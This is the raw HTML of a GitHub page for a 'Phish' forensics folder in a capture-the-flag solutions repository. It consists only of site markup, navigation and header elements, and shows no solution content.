src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>ctf-solutions/RomHack/forensics/Phish at master · BigB00st/ctf-solutions · GitHub</title> <meta name="description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-solutions/RomHack/forensics/Phish at master · BigB00st/ctf-solutions" /><meta name="twitter:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta property="og:image:alt" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-solutions/RomHack/forensics/Phish at master · BigB00st/ctf-solutions" /><meta property="og:url" content="https://github.com/BigB00st/ctf-solutions" /><meta property="og:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="C61B:8946:1EA11EB:20020FB:6183085B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="7bf052dc4279e9abc9ee56e41b5b098400aceef03973be7e064cd9ce3e5571c4" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDNjFCOjg5NDY6MUVBMTFFQjoyMDAyMEZCOjYxODMwODVCIiwidmlzaXRvcl9pZCI6Ijg3MDcxNTMwODE1OTY1Nzc4ODMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="fbbc9f8f917fbe3b4d703e0930f942b0622a36962c1e72a54cda78b395a8569f" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:252509468" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/BigB00st/ctf-solutions git https://github.com/BigB00st/ctf-solutions.git">
<meta name="octolytics-dimension-user_id" content="45171153" /><meta name="octolytics-dimension-user_login" content="BigB00st" /><meta name="octolytics-dimension-repository_id" content="252509468" /><meta name="octolytics-dimension-repository_nwo" content="BigB00st/ctf-solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="252509468" /><meta name="octolytics-dimension-repository_network_root_nwo" content="BigB00st/ctf-solutions" />
<link rel="canonical" href="https://github.com/BigB00st/ctf-solutions/tree/master/RomHack/forensics/Phish" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="252509468" data-scoped-search-url="/BigB00st/ctf-solutions/search" data-owner-scoped-search-url="/users/BigB00st/search" data-unscoped-search-url="/search" action="/BigB00st/ctf-solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="13vlRONjpp+2YwMp/0r9wm9L0aMjou/2yXXO7zGSIRu4YgZvy4CbQSRyNdihOf7cFj+J6tZFbKlinfXy2k/oXA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> BigB00st </span> <span>/</span> ctf-solutions
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
2 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
0
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
